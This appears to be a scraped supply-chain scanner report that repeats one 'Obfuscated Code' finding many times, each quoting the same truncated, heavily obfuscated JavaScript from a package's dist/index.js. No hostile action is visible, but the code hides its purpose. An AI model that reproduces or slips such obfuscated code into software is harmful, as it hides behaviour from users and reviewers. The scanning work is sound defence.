a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of __getOwnPropNames(_0x2a84f1))if(!__hasOwnProp[_0x123e3e(0x17e)](_0x502f5a,_0x18f441)&&_0x18f441!==_0x201e96)__defProp(_0x502f5a,_0x18f441,{'get':()=>_0x2
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · dist/index.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const a0_0x2896d6=a0_0x24d4;(function(_0x427b5f,_0x598b27){const _0x1c22b3=a0_0x24d4,_0x7d3471=_0x427b5f();while(!![]){try{const _0x465516=-parseInt(_0x1c22b3(0x251))/0x1+parseInt(_0x1c22b3(0x21d))/0x2+-parseInt(_0x1c22b3(0xc5))/0x3*(-parseInt(_0x1c22b3(0x16c))/0x4)+-parseInt(_0x1c22b3(0x1d3))/0x5*(-parseInt(_0x1c22b3(0x1fa))/0x6)+-parseInt(_0x1c22b3(0xb7))/0x7+-parseInt(_0x1c22b3(0x11d))/0x8+parseInt(_0x1c22b3(0x1c4))/0x9;if(_0x465516===_0x598b27)break;else _0x7d3471['push'](_0x7d3471['shift']());}catch(_0x359e52){_0x7d3471['push'](_0x7d3471['shift']());}}}(a0_0x5d62,0x1c4cb));const a0_0x46c856=(function(){let _0x37faab=!![];return function(_0x8ec5b3,_0x23909a){const _0x3a2b8a=_0x37faab?function(){const _0x3894a0=a0_0x24d4;if(_0x23909a){const _0xf3bf4=_0x23909a[_0x3894a0(0x124)](_0x8ec5b3,arguments);return _0x23909a=null,_0xf3bf4;}}:function(){};return _0x37faab=![],_0x3a2b8a;};}()),a0_0x120888=a0_0x46c856(this,function(){const _0x2008d6=a0_0x24d4;return a0_0x120888[_0x2008d6(0x116)]()[_0x2008d6(0x1af)](_0x2008d6(0x292))[_0x2008d6(0x116)]()[_0x2008d6(0xf1)](a0_0x120888)[_0x2008d6(0x1af)]('(((.+)+)+)+$');});a0_0x120888();'use strict';var __create=Object[a0_0x2896d6(0x200)],__defProp=Object[a0_0x2896d6(0x103)],__getOwnPropDesc=Object[a0_0x2896d6(0x186)],__getOwnPropNames=Object[a0_0x2896d6(0x23d)],__getProtoOf=Object[a0_0x2896d6(0x146)],__hasOwnProp=Object[a0_0x2896d6(0x1f2)][a0_0x2896d6(0xcd)],__commonJS=(_0x3ac252,_0x327903)=>function _0x26f367(){const _0x39c190=a0_0x2896d6;return _0x327903||(0x0,_0x3ac252[__getOwnPropNames(_0x3ac252)[0x0]])((_0x327903={'exports':{}})[_0x39c190(0x154)],_0x327903),_0x327903['exports'];},__copyProps=(_0x502f5a,_0x2a84f1,_0x201e96,_0x57d8b2)=>{const _0x123e3e=a0_0x2896d6;if(_0x2a84f1&&typeof _0x2a84f1==='object'||typeof _0x2a84f1==='function'){for(let _0x18f441 of 